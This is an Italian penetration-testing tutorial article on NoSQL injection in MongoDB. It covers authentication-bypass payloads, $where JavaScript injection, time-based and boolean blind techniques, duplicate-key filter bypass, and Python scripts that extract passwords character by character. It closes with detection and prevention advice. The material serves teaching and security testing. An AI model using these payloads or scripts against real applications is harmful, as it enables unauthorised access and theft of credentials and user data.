NoSQL Injection: Guida a MongoDB, Payload , Bypass per Pentest

Scopri cos'è NoSQL Injection su MongoDB: payload, authentication bypass, `$regex`, `$where`, blind injection, estrazione dati e tecniche di difesa.
- Pubblicato il 2026-09-03
- Tempo di lettura: 17 min
NoSQL Injection: Guida Completa a MongoDB, Payload e Authentication Bypass #
La NoSQL injection è la tecnica che permette di manipolare le query verso database non relazionali come MongoDB, sfruttando operatori come $ne, $regex o $where al posto di semplice testo. Se fino a oggi hai lavorato solo con la SQL injection classica — apici, OR 1=1, UNION SELECT — la prima volta che ti trovi davanti a un’applicazione con un database NoSQL dietro può essere spiazzante. I payload che conosci non funzionano, gli errori sono diversi, e la sintassi sembra un’altra lingua. In realtà il principio di fondo è identico a quello della SQL injection: input dell’utente non validato che finisce dove non dovrebbe. Cambia solo il “dove” e il “come”.
Questa guida parte dal presupposto che tu non abbia mai sentito parlare di NoSQL injection prima d’ora, e ti porta fino ai payload avanzati usati nei penetration test reali — inclusa l’esecuzione di codice JavaScript lato database, uno degli aspetti meno conosciuti e più pericolosi di questa classe di vulnerabilità. Se preferisci vedere questi concetti applicati passo passo su una macchina reale, abbiamo pubblicato anche il walkthrough completo di HTB Mango, dal bypass del login fino alla privilege escalation.
Database relazionali vs database NoSQL: la differenza che conta #
Un database relazionale (MySQL, PostgreSQL, MSSQL) organizza i dati in tabelle con colonne fisse, definite in anticipo. Le query sono stringhe di testo scritte in linguaggio SQL. La SQL injection classica funziona rompendo quella stringa con un carattere speciale, tipicamente un apice:
' OR '1'='1Un database NoSQL — MongoDB è di gran lunga il più diffuso, ma esistono anche CouchDB, Redis, Cassandra e altri — organizza i dati in modo diverso. MongoDB in particolare li salva in collection (l’equivalente delle tabelle) fatte di document, oggetti simili a JSON dove ogni documento può avere campi diversi dagli altri — non serve uno schema fisso deciso in anticipo.
Non solo MongoDB: le famiglie di database NoSQL #
“NoSQL” è una categoria ampia, non un prodotto singolo. Vale la pena sapere che si divide in famiglie diverse, perché la tecnica di injection cambia a seconda di quale hai davanti:
| Famiglia | Esempi | Come sono fatti |
|---|---|---|
| Document-based | MongoDB, CouchDB | Documenti simili a JSON, come descritto sopra — è la famiglia più diffusa e quella con la superficie di injection più documentata |
| Key-value | Redis, DynamoDB | Coppie chiave→valore semplici, senza query complesse con filtri — la superficie di injection è molto più ridotta rispetto a MongoDB |
| Column-based | Cassandra, HBase | Dati organizzati per colonne ma non relazionali — usano un proprio linguaggio di query (CQL per Cassandra) con una sintassi injection tutta sua |
| Graph | Neo4j | Nodi e relazioni; le injection qui puntano al linguaggio di query dei grafi (Cypher), completamente diverso da $ne/$regex |
Tutta questa guida si concentra su MongoDB perché è quello che incontri di gran lunga più spesso — sia in produzione reale sia nei box da CTF — e gli operatori che vedrai ($ne, $regex, $where…) sono specifici della sua sintassi. Il principio di fondo (input non validato che finisce dentro la struttura della query) resta identico anche per CouchDB, che supporta query molto simili; cambia di più con Redis, Cassandra o Neo4j, dove il linguaggio di query è del tutto diverso e va studiato a parte.
Le query verso MongoDB non sono testo SQL: sono oggetti con operatori propri, che iniziano tutti con il simbolo $ — $ne, $gt, $regex, $where e molti altri. La NoSQL injection non rompe una stringa di testo: inietta direttamente nella struttura della query. Se l’applicazione prende il tuo input e lo passa al database senza controllarne il tipo, e quell’input può contenere uno di questi operatori invece di semplice testo, puoi alterare la logica della query esattamente come faresti con un apice in SQL — solo con sintassi completamente diversa.
NoSQL injection vs SQL injection: differenze in sintesi #
Un riepilogo rapido, utile come riferimento veloce:
| SQL Injection | NoSQL Injection | |
|---|---|---|
| Database target | MySQL, PostgreSQL, MSSQL | MongoDB, CouchDB e altri |
| Formato query | Stringa di testo SQL | Oggetto con operatori ($ne, $gt…) |
| Cosa rompi | La sintassi della stringa | La struttura della query |
| Payload tipico | ' OR 1=1-- | username[$ne]=hackita |
| Bypass più comune | OR/UNION | Operator injection ($ne, $or) |
La terminologia cambia nome, non concetto #
Se vieni dal mondo relazionale, la tabella qui sotto ti evita confusione inutile — sono le stesse idee, solo con un nome diverso:
| SQL (relazionale) | MongoDB (documentale) |
|---|---|
| Database | Database |
| Tabella | Collection |
| Riga | Document |
| Colonna | Field |
Un database MongoDB contiene collection (non tabelle); ogni collection contiene document (non righe, sono oggetti simili a JSON); ogni document ha field (non colonne) — e, a differenza di una tabella SQL, due document nella stessa collection possono avere field completamente diversi tra loro.
Come capire che un’applicazione usa un database NoSQL #
Prima ancora di provare un payload, vale la pena capire se ha senso provarlo. Un form di login “sembra” identico indipendentemente dal database dietro — non lo distingui dall’HTML. Alcuni segnali pratici da cercare:
- Porta 27017 aperta in fase di ricognizione (porta di default di MongoDB) — indizio forte, anche se non definitivo (potrebbe non essere raggiungibile dall’esterno).
- Stack applicativo: se noti che il backend gira su Node.js/Express (header, errori, cookie tipici), è un abbinamento molto comune con MongoDB tramite librerie come Mongoose.
- Endpoint, librerie o file di configurazione che menzionano esplicitamente “Mongo”, “NoSQL” o nomi di librerie che dichiarano quali database supportano — a volte basta un giro sull’applicazione per trovare un indizio del genere prima ancora di toccare il form di login.
- Messaggi di errore rivelatori: un’applicazione mal configurata può restituire uno stack trace che menziona “Mongoose”, “BSON” o “MongoServerError”.
- Comportamento diretto: se non hai altri indizi, prova comunque un payload NoSQL semplice (
username[$ne]=hackita) e osserva se il comportamento cambia rispetto a un tentativo di SQLi classica. Se il server “digerisce” il payload senza errore di sintassi e il comportamento cambia, sei probabilmente su NoSQL.
Gli operatori principali di MongoDB #
Prima dei payload, vale la pena avere chiara la tabella degli operatori più usati in fase di injection:
| Operatore | Significato |
|---|---|
$ne | diverso da (not equal) |
$gt | maggiore di |
$lt | minore di |
$gte / $lte | maggiore/minore o uguale |
$in | il valore è presente in un elenco |
$nin | il valore NON è presente in un elenco |
$regex | corrispondenza con un’espressione regolare |
$exists | il campo esiste (o non esiste) nel documento |
$or | almeno una delle condizioni nell’elenco è vera |
$and | tutte le condizioni nell’elenco devono essere vere |
$not | inverte il risultato di un’altra condizione |
$nor | nessuna delle condizioni nell’elenco è vera |
$elemMatch | almeno un elemento di un array soddisfa una sotto-condizione |
$all | un array deve contenere tutti i valori elencati |
$where | esegue codice JavaScript come condizione della query |
I primi undici sono “innocui” nel senso che permettono solo di alterare i confronti in una query. $where è diverso, ed è per questo che merita una sezione a parte più avanti.
Quattro di questi meritano una nota pratica su quando tornano utili durante un test:
$and/$nor— utili quando$orda solo non basta a costruire la condizione che ti serve, ad esempio per combinare più bypass insieme in un unico payload complesso.$not— comodo per invertire rapidamente un test: se sospetti che un filtro blocchi$neesplicitamente ma non la sua negazione ($not: {$eq: ...}), vale la pena provarlo come bypass alternativo.$elemMatch/$all— rilevanti solo se il campo che stai testando è un array (es. un campo “ruoli” o “permessi” con più valori) — permettono di indagare o manipolare la logica su quel tipo di dato, che gli operatori base non gestiscono.
Authentication bypass con NoSQL injection: la prima cosa da provare #
Il caso più comune in cui ci si imbatte è un form di login. Il codice lato server, in un’applicazione vulnerabile, potrebbe assomigliare a questo (in pseudocodice):
db.users.find({ "username": input_utente, "password": input_password })Se input_utente arriva come testo normale, la query cerca un documento con quello username esatto. Ma se riesci a far sì che input_utente diventi un oggetto invece che una stringa — cosa che accade facilmente con parametri HTTP annidati o con corpi JSON mal validati — puoi iniettare un operatore al suo posto.
Perché username[$ne]=x diventa un oggetto
#
Molti framework web (PHP, Express con body-parser, e altri) interpretano automaticamente la sintassi con parentesi quadre in un parametro HTTP come una struttura annidata, non come testo letterale. Quando mandi:
username[$ne]=hackitail framework lo trasforma internamente in qualcosa come {"username": {"$ne": "hackita"}} — un oggetto vero, con $ne come chiave — prima ancora che il codice dell’applicazione lo passi al database. È una comodità pensata per gestire form complessi (array, oggetti annidati), ma se l’applicazione non valida il tipo di dato ricevuto, diventa la porta d’ingresso per l’injection: il database riceve un operatore invece di una semplice stringa, senza che tu abbia dovuto rompere nessuna sintassi.
Payload in formato URL-encoded / form-data #
Questi sono i payload da provare per primi, sia in una query string GET sia in un body POST application/x-www-form-urlencoded:
username[$ne]=hackita&password[$ne]=hackita
login[$regex]=h.*&pass[$ne]=hackita
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=hackitaIl primo è il classico: “username diverso da ‘hackita’ E password diversa da ‘hackita’” — quasi certamente vero per almeno un utente nel database, quindi bypassa il login.
Il terzo è più sottile: $gt: admin e $lt: test insieme dicono “un login che, in ordine alfabetico, viene dopo ‘admin’ e prima di ’test’” — un modo indiretto per far restituire un documento qualsiasi senza sapere nulla di specifico.
Payload in formato JSON #
Se l’applicazione accetta un body JSON (header Content-Type: application/json), la stessa logica si esprime così:
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "hackita"}, "password": {"$ne": "hackita"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}Vale sempre la pena provare entrambi i formati (form-data e JSON) su ogni endpoint sospetto: alcune applicazioni accettano solo uno dei due, e capirlo richiede un secondo di tentativo con Burp Suite per intercettare e modificare la richiesta reale. Se il target è nello specifico un’API REST che accetta solo JSON, la logica di injection resta identica a quella vista qui — trovi un approfondimento dedicato nell’articolo su SQL injection nelle API REST, che tratta lo stesso scenario di trasporto applicato al mondo relazionale.
$where: quando l’injection diventa esecuzione di codice
#
Qui si entra nella parte meno conosciuta e più seria della NoSQL injection. L’operatore $where permette — se il server MongoDB non lo ha disabilitato esplicitamente — di passare del codice JavaScript che viene valutato come condizione della query. Non stai più solo confrontando valori: stai facendo eseguire codice al motore JavaScript interno di MongoDB.
Una precisazione importante prima di andare avanti: quel codice JavaScript resta sandboxato dentro MongoDB stesso (motore interno, storicamente SpiderMonkey). Da lì puoi leggere e confrontare dati, non lanciare comandi di sistema o aprire una shell — non è di per sé un’esecuzione di codice sul sistema operativo. Il salto verso un vero accesso al sistema richiede un passaggio ulteriore e specifico dell’applicazione: se, per errore di programmazione, il valore che hai iniettato arriva anche dentro un eval() scritto nel codice del backend (tipico di Node.js), è lì — non dentro Mongo — che l’esecuzione diventa realmente pericolosa, perché quel motore JS ha accesso a moduli come child_process che possono lanciare comandi reali.
Ecco una serie di payload reali usati per testare e sfruttare questo vettore, spiegati uno per uno:
true, $where: '1 == 1'
$where: '1 == 1'Il caso più semplice: una condizione JavaScript sempre vera. Bypassa qualunque controllo, concettualmente identico a OR 1=1 in SQL — solo che qui non stai confrontando dati, stai eseguendo un’espressione.
{ $ne: 1 }Questo non è $where, ma un promemoria di quanto siano intercambiabili gli operatori: $ne bypassa un confronto esatto ovunque venga accettato un valore singolo al posto di un oggetto.
', $or: [ {}, { 'a':'a' } ], $comment:'successful MongoDB injection'Combina due tecniche: $or con una condizione vuota ({}, sempre vera) per il bypass, e $comment — un operatore che non fa nulla dal punto di vista logico ma serve a “chiudere” pulitamente la sintassi della query iniettata, lasciando una traccia leggibile nei log del server per confermare che l’injection ha avuto effetto.
db.injection.insert({success:1});Questo payload va oltre la semplice lettura: se il contesto lo permette, scrive un nuovo documento nel database. È la prova che l’injection non si limita a bypassare condizioni, ma può alterare i dati — l’equivalente NoSQL di una INSERT iniettata in una SQLi.
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1) } })Payload più aggressivo: dopo l’inserimento, richiama mapReduce, una funzione di aggregazione dati di MongoDB che accetta funzioni JavaScript arbitrarie come parametro. In un contesto vulnerabile, mapReduce è stato storicamente uno dei vettori più citati per arrivare a un’esecuzione di codice remoto più ampia sul server database.
|| 1==1Variante più compatta del bypass booleano, utile quando il contesto sintattico della query iniettata è già dentro un’espressione JavaScript esistente (non serve riaprire un blocco $where completo).
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00Questi due payload servono per una tecnica specifica: verificare se un campo esiste nel documento. this.password.match(/.*/) chiede “il campo password corrisponde a qualsiasi cosa” — sempre vero se il campo esiste. Il secondo payload usa passwordzz, un nome di campo che quasi certamente NON esiste: se la risposta del server cambia tra i due payload, hai appena confermato, alla cieca, che il campo si chiama esattamente password. È una tecnica di enumerazione della struttura dei documenti senza mai vederli direttamente.
Le due varianti con %20%26%26%20 sono identiche nella logica, solo con gli spazi e la doppia e commerciale (&&) url-encoded — utile quando il canale di trasporto (query string, alcuni header) non accetta questi caratteri in chiaro.
{$gt: ''}
{"$gt": ""}
[$ne]=1Bypass minimali già visti sopra, riproposti nelle diverse notazioni (oggetto JS, JSON, parametro URL) a seconda di dove stai iniettando.
';sleep(5000);
';sleep(5000);'
';sleep(5000);+'
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);Questi quattro payload servono per il time-based blind, la tecnica da usare quando la risposta del server è identica sia in caso di successo che di fallimento, e quindi non puoi distinguere i due casi da un redirect o da un testo diverso — solo dal tempo di risposta.
Il primo prova a chiamare direttamente sleep(5000) (5 secondi di pausa). Alcune installazioni di MongoDB disabilitano sleep() all’interno di $where proprio per prevenire questo attacco (il comportamento varia da versione a versione e dalla configurazione specifica) — per questo esiste il quarto payload, che ottiene lo stesso ritardo con un ciclo do...while che confronta ripetutamente due oggetti Date, senza mai chiamare sleep. Se il server impiega ~5 secondi in più a rispondere quando iniettato con questo payload rispetto a una richiesta normale, hai la conferma dell’injection anche senza alcun output visibile.
';return 'a'=='a' && ''=='
";return(true);var xyz='a
0;return trueVarianti dello stesso bypass booleano (return true esplicito), utili quando il contesto sintattico richiede di “chiudere” una funzione JavaScript esistente invece di una semplice espressione — dipende da come l’applicazione costruisce internamente la query $where, cosa che spesso si scopre solo per tentativi.
{"&exists":false}Sintassi malformata volutamente (l’operatore corretto sarebbe $exists, non &exists) — un payload di questo tipo si usa più per testare la resilienza dei filtri/WAF di fronte a variazioni sintattiche che come vettore diretto: se il server risponde in modo anomalo (errore 500 invece di un rifiuto pulito) anche a un operatore scritto male, è un segnale che l’input non viene validato correttamente a monte.
Boolean-based blind: la teoria prima dello script #
Tutti i payload di bypass visti finora hanno un tratto in comune: non ti mostrano mai i dati direttamente. Ti dicono solo se la condizione che hai iniettato era vera o falsa, osservando come cambia la risposta del server:
condizione vera → risposta A (es. redirect 302, testo “successo”) condizione falsa → risposta B (es. status 200, stesso form di login)
Questo è il boolean-based blind: non “vedi” mai la password, ma la ricostruisci deducendola da una serie di domande sì/no. È lo stesso principio che sta dietro l’estrazione con $regex che vedi tra poco — prima di automatizzarlo in uno script, vale la pena capirlo come concetto isolato, perché è la base logica su cui si costruisce anche il time-based blind più avanti (cambia solo il segnale osservato: tempo invece di risposta).
Un cambio di risposta non è sempre conferma di NoSQLi #
Prima di fidarti ciecamente di “la risposta è cambiata, quindi ho trovato l’injection”, vale la pena una nota di cautela. Diverse cose, del tutto indipendenti da una vulnerabilità reale, possono produrre una risposta diversa:
- Rate limiting: dopo troppi tentativi ravvicinati, il server può iniziare a rispondere diversamente (429, blocco temporaneo) — non è un segnale di successo dell’injection, è protezione anti-brute-force.
- Sessioni e cookie: se il tuo script non gestisce correttamente i cookie di sessione tra una richiesta e l’altra, alcune applicazioni cambiano comportamento a prescindere dal payload.
- Caching: una risposta cache-ata può restare identica anche quando il payload dovrebbe cambiarla, o viceversa cambiare per motivi non legati alla query.
- Logica applicativa generica: un redirect diverso potrebbe dipendere da un cookie “primo accesso”, un banner, un A/B test — non dall’injection.
La controprova più affidabile resta sempre il confronto diretto: stesso payload ripetuto due volte deve dare la stessa risposta; un payload di controllo palesemente falso (es. password[$regex]=^ZZZZ_impossibile) deve dare sempre l’esito negativo. Se questi due controlli non tornano coerenti, il segnale che stai osservando non è affidabile.
Estrarre dati con $regex nella NoSQL injection
#
Una volta confermato il bypass, il passo successivo è quasi sempre estrarre dati reali — una password, un token, un altro username. Qui l’operatore chiave è $regex, che fa corrispondenza parziale su una stringa.
Scoprire la lunghezza di un campo #
username[$ne]=hackita&password[$regex]=.{1}
username[$ne]=hackita&password[$regex]=.{3}.{1} chiede “un carattere qualsiasi, esattamente uno” — se la password ha un solo carattere, questo payload avrebbe successo. Aumentando il numero (.{3}, .{8}…) puoi determinare la lunghezza esatta del campo prima ancora di conoscerne il contenuto.
Estrarre il contenuto carattere per carattere #
username[$ne]=hackita&password[$regex]=m.{2}
username[$ne]=hackita&password[$regex]=md.{1}
username[$ne]=hackita&password[$regex]=mdpLa logica è: proponi un prefisso (“m”, poi “md”, poi “mdp”…) e osservi quando il server conferma il match. Ripetendo questo procedimento su tutti i caratteri possibili, per ogni posizione, ricostruisci l’intera stringa — esattamente come nel blind SQL injection basato su boolean, solo con sintassi MongoDB.
In alternativa, se sospetti che il valore appartenga a un set limitato di possibilità note (username comuni, ad esempio), $in è più diretto:
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}Aggirare filtri e WAF: la trick delle chiavi duplicate #
Un dettaglio poco intuitivo ma sfruttabile: in MongoDB, se un documento JSON contiene una chiave duplicata, vince l’ultima occorrenza:
{"id":"10", "id":"100"}In questo esempio, il valore finale di id sarà "100". Alcuni filtri di sicurezza validano solo la prima occorrenza di una chiave, lasciando passare la seconda: una tecnica di bypass da tenere presente quando un payload “ovvio” viene bloccato ma uno con chiavi ripetute no.
Error-based: quando l’applicazione parla troppo #
Boolean-based e time-based sono le tecniche da usare quando l’applicazione non ti dice nulla di esplicito. Ma capita spesso, soprattutto in ambienti di sviluppo o staging mal configurati, che un’applicazione risponda con lo stack trace grezzo dell’errore invece di un messaggio generico. In quel caso non serve dedurre nulla alla cieca: il database ti sta dicendo direttamente cosa è andato storto.
Un payload malformato o con un tipo di dato inatteso (ad esempio un array dove il codice si aspetta una stringa, o un operatore su un campo che non lo supporta) può far comparire messaggi come:
MongoError: $where is not allowed on this instance
CastError: Cast to string failed for value "[object Object]" at path "username"
MongoServerError: unknown operator: $regexxOgnuno di questi errori è informazione utile: il primo ti conferma che $where esiste ma è stato disabilitato (non sprecare tempo su quel vettore); il secondo conferma che il campo username accetta normalmente solo stringhe — e che quindi la validazione del tipo, se c’è, avviene a un livello che puoi provare a bypassare diversamente; il terzo, banalmente, ti dice che hai scritto l’operatore sbagliato.
Vale la pena, quando possibile, provare deliberatamente payload “rumorosi” (operatori scritti male, tipi di dato palesemente sbagliati) proprio per innescare questi errori — spesso rivelano più sulla struttura interna della query di quanto farebbe un lungo giro di boolean-based blind.
Blind NoSQL injection: automatizzare l’estrazione con Python #
Quando la vulnerabilità è confermata ma non c’è output diretto da leggere (solo un redirect, o un messaggio generico di successo/fallimento), serve automatizzare l’estrazione carattere per carattere. La struttura di base, indipendentemente dal formato del body (JSON, form-urlencoded, o addirittura GET), è sempre la stessa:
import requests
import urllib3
import string
import re
urllib3.disable_warnings()
url = "http://target.tld/login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def estrai_campo(nome_campo, campo_bypass):
trovato = ""
while True:
found = False
for c in string.printable:
candidato = trovato + re.escape(c)
payload = "%s[$regex]=^%s&%s[$ne]=hackita&login=login" % (
nome_campo, candidato, campo_bypass
)
r = requests.post(url, data=payload, headers=headers,
verify=False, allow_redirects=False)
if r.status_code == 302:
trovato += c
found = True
break
if not found:
break
return trovato
password = estrai_campo("password", "username")
print("Password trovata:", password)Due dettagli che vale la pena isolare, perché ci si inciampa quasi sempre alla prima volta:
re.escape(c) — string.printable include caratteri come *, +, ., ?, $ che in una regex hanno un significato speciale, non sono “il carattere letterale”. Se il valore vero contenesse uno di questi simboli e li mandassi al database senza protezione, romperesti la sintassi della regex invece di testarli come carattere normale. re.escape() antepone un backslash a questi caratteri prima di inserirli nel payload — ma il carattere che accumuli nella variabile Python resta quello “pulito”, senza backslash.
allow_redirects=False — di default requests segue automaticamente i redirect HTTP, mostrandoti solo la pagina finale. Serve invece vedere il codice di stato grezzo della risposta (302 = successo, altro = fallito), quindi va disattivato esplicitamente.
Lo stesso script, con qualche adattamento, funziona identico anche se il body è JSON (basta cambiare Content-Type e costruire il payload come stringa JSON invece che form-urlencoded) o se l’injection avviene via parametri GET nell’URL.
Time-based blind: quando anche il redirect è identico #
A volte l’applicazione risponde sempre allo stesso modo, senza status code diversi né testo diverso, indipendentemente dal successo dell’injection. In questi casi l’unico segnale disponibile è il tempo di risposta — lo stesso principio del time-based SQL injection, qui applicato sfruttando i payload $where con sleep() (o il ciclo Date equivalente) visti sopra:
import time
import requests
def testa_char(prefisso, c, url):
payload = "username=admin&password[$where]=this.password.match(/^%s%s/) ? sleep(3000) : 0" % (prefisso, c)
start = time.time()
requests.post(url, data=payload, verify=False)
return (time.time() - start) > 2.5Se la risposta impiega più di ~2,5 secondi, il carattere testato è corretto. La logica di ricostruzione carattere per carattere resta identica a quella vista con $regex, cambia solo il segnale osservato (tempo invece di status code).
Cosa NON fare: affidarsi a tool automatici datati #
Esistono tool storici per automatizzare la NoSQL injection, tra cui NoSQLMap (ispirato a sqlmap). Un avviso pratico, maturato sul campo: NoSQLMap è fermo a Python 2.7, ormai a fine vita da anni — su un sistema aggiornato installarlo richiede di rattoppare a mano dipendenze rotte una per una prima di riuscire anche solo a farlo partire. Per la maggior parte degli scenari reali, uno script su misura come quello sopra è più veloce da scrivere, più affidabile, e — soprattutto — ti costringe a capire davvero il meccanismo invece di limitarti a leggere un output che non sai interpretare.
In alternativa, Burp Suite Intruder permette di fare la stessa cosa via interfaccia, senza scrivere una riga di codice. La metodologia, in sintesi:
- Intercetta la richiesta di login (o l’endpoint sospetto) con il proxy attivo.
- Identifica il parametro da testare e prova a trasformarlo in oggetto (
username[$ne]=xal posto diusername=x), osservando se la risposta cambia. - Modifica il tipo progressivamente: prima operatori semplici (
$ne,$gt), poi$regexse il bypass conferma la vulnerabilità. - Confronta la risposta — status code, lunghezza, redirect — con quella di una richiesta di controllo palesemente falsa (vedi la nota sui falsi positivi sopra).
- Passa a Intruder solo una volta confermato il vettore: marchi con
§§la posizione del carattere da testare nel payload, gli dai come payload set l’alfabeto completo, e ordini i risultati per status code o lunghezza per trovare rapidamente la riga anomala.
Impatto reale: cosa puoi ottenere davvero #
I payload visti finora si traducono in un numero limitato di impatti concreti, utili da tenere a mente quando devi documentare la gravità di quello che hai trovato:
- Authentication bypass — l’impatto più immediato e comune, visto in apertura con
$ne/$or. - Account takeover — una volta bypassato il login di un account specifico (non uno qualsiasi), hai accesso completo a quell’identità.
- Data disclosure — estrazione di dati tramite
$regex/$in, che sia una password, un token di sessione o dati personali di altri utenti. - Modifica o cancellazione dati — payload come
db.injection.insert(...)mostrano che, dove il contesto lo permette, l’injection non si limita alla sola lettura. - Denial of Service — query costruite ad arte (regex particolarmente costose da valutare, o cicli come quelli visti nel time-based) possono degradare le prestazioni del database fino a renderlo instabile sotto carico.
- Esecuzione di codice — possibile solo in contesti specifici e non garantita: richiede
$whereattivo e, per un impatto reale sul sistema operativo (non solo dentro Mongo), un ulteriore anello debole lato applicazione come uneval()mal scritto, come spiegato sopra.
Vale la classificazione CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) come riferimento standard per questa famiglia di vulnerabilità — la severità reale, però, va sempre valutata caso per caso in base al contesto applicativo, non assegnata a priori.
Come rilevare una NoSQL injection #
I segnali per riconoscere una NoSQL injection sono sparsi in questa guida — qui un riepilogo compatto, utile come checklist rapida durante un test:
- Il campo accetta un oggetto al posto di una stringa (sintassi a parentesi quadre
campo[$operatore]=valorenon genera errore). - Operatori base (
$ne,$gt,$regex) cambiano il comportamento dell’applicazione senza generare errore di sintassi. - Status code o lunghezza della risposta variano in modo consistente tra payload vero e payload di controllo falso.
- Comparsa di errori MongoDB/Mongoose nello stack trace (
CastError,MongoServerError, riferimenti a “BSON”). - Differenze temporali misurabili tra un payload innocuo e uno con
$where/sleep(). - Log anomali lato applicazione (se hai accesso), con pattern di query ripetute e sequenziali — segno di un attacco blind in corso, utile anche in ottica difensiva/blue team.
Come prevenire la NoSQL injection #
Dal lato difensivo, questi controlli concreti riducono drasticamente la superficie d’attacco:
- Validazione e allowlist del tipo di input: qualsiasi campo che l’applicazione si aspetta come stringa deve essere forzato a stringa prima di finire nella query, rifiutando esplicitamente oggetti o array dove non previsto. Librerie come Mongoose (per Node.js) permettono di definire schema rigidi che bloccano automaticamente payload contenenti operatori.
- Sanitizzazione esplicita degli operatori
$: se un input grezzo deve comunque finire in una query, rimuovere o rifiutare chiavi che iniziano con$prima di costruirla. - Non costruire mai query direttamente dall’input utente: preferire librerie/ORM che parametrizzano la query invece di concatenare o passare oggetti ricevuti così come sono.
- Disabilitare
$wherea livello di configurazione MongoDB, se l’applicazione non ne ha un uso legittimo — elimina alla radice l’intera classe di attacchi basati su esecuzione di codice. - Least privilege sull’account MongoDB usato dall’applicazione: un utente database con permessi minimi (solo le operazioni davvero necessarie) limita l’impatto anche quando un’injection va a segno.
- Aggiornamento di MongoDB e dei driver/librerie (Mongoose incluso) — versioni datate hanno storicamente comportamenti meno restrittivi di default su
$wheree operatori simili. - Rate limiting sugli endpoint di autenticazione: un attacco blind carattere per carattere richiede centinaia di richieste; un limite ragionevole lo rallenta fino a renderlo impraticabile in tempi utili.
- Logging e monitoraggio delle query anomale (uso di operatori inattesi, pattern regex ripetuti in sequenza) per rilevare un attacco in corso prima che sia completo.
- Test di sicurezza automatici integrati nella pipeline di sviluppo, che includano payload NoSQL tra i casi di test standard, non solo quelli SQL.
Conclusione #
La NoSQL injection non è “un’altra SQLi con sintassi diversa da imparare a memoria” — è lo stesso identico ragionamento di sempre: input non validato che finisce dove non dovrebbe, applicato a una struttura dati diversa da quella testuale. Una volta capito questo, ogni payload nuovo che incontri (anche uno che non hai mai visto prima) diventa questione di capire il contesto sintattico specifico, non di imparare un’altra tecnica da zero.
FAQ #
La NoSQL injection funziona solo su MongoDB? No. MongoDB è il database NoSQL più diffuso e il più documentato, ma il principio si applica a qualsiasi database document-based che supporti query con operatori (CouchDB, ad esempio). Cambia la sintassi specifica, non il concetto di fondo.
$where è sempre disponibile su ogni installazione MongoDB?
No — dipende fortemente dalla configurazione e dalla versione di MongoDB in uso, e non c’è un comportamento di default uniforme da dare per scontato. Vale comunque sempre la pena testarlo: quando è attivo, è il vettore con il potenziale di impatto più alto tra tutti quelli visti in questa guida.
Che differenza c’è tra il bypass con $ne e quello con $where?
$ne (e operatori simili come $gt, $regex) alterano solo un confronto di valori — sono limitati, ma anche meno rischiosi da individuare per un WAF perché non contengono codice eseguibile. $where esegue vero codice JavaScript: più potente, ma anche più facilmente rilevabile e — dove disponibile — spesso il primo bersaglio delle mitigazioni.
La NoSQL injection è ancora possibile nelle versioni moderne di MongoDB?
Sì, il vettore di fondo (operatori iniettabili quando l’input non è validato) resta valido su qualsiasi versione. Cambia però la superficie disponibile: versioni e configurazioni recenti tendono a essere più restrittive su $where, quindi il bypass con operatori come $ne/$regex resta il vettore più affidabile da testare per primo, indipendentemente dalla versione.
Quali operatori MongoDB vengono usati più spesso nella NoSQL injection?
In pratica, $ne e $regex coprono la maggior parte dei casi reali: il primo per il bypass di autenticazione, il secondo per l’estrazione blind carattere per carattere. $where, $or e $exists completano il set per scenari più specifici (esecuzione di codice, bypass compositi, enumerazione della struttura dei documenti).
Come si testa una NoSQL injection con Burp Suite?
Con Intruder: marchi la posizione del carattere da testare nel payload con §§, imposti come payload set l’alfabeto completo, e confronti le risposte per status code o lunghezza — lo stesso ciclo descritto nella sezione sulla metodologia più sopra, senza dover scrivere una riga di codice.








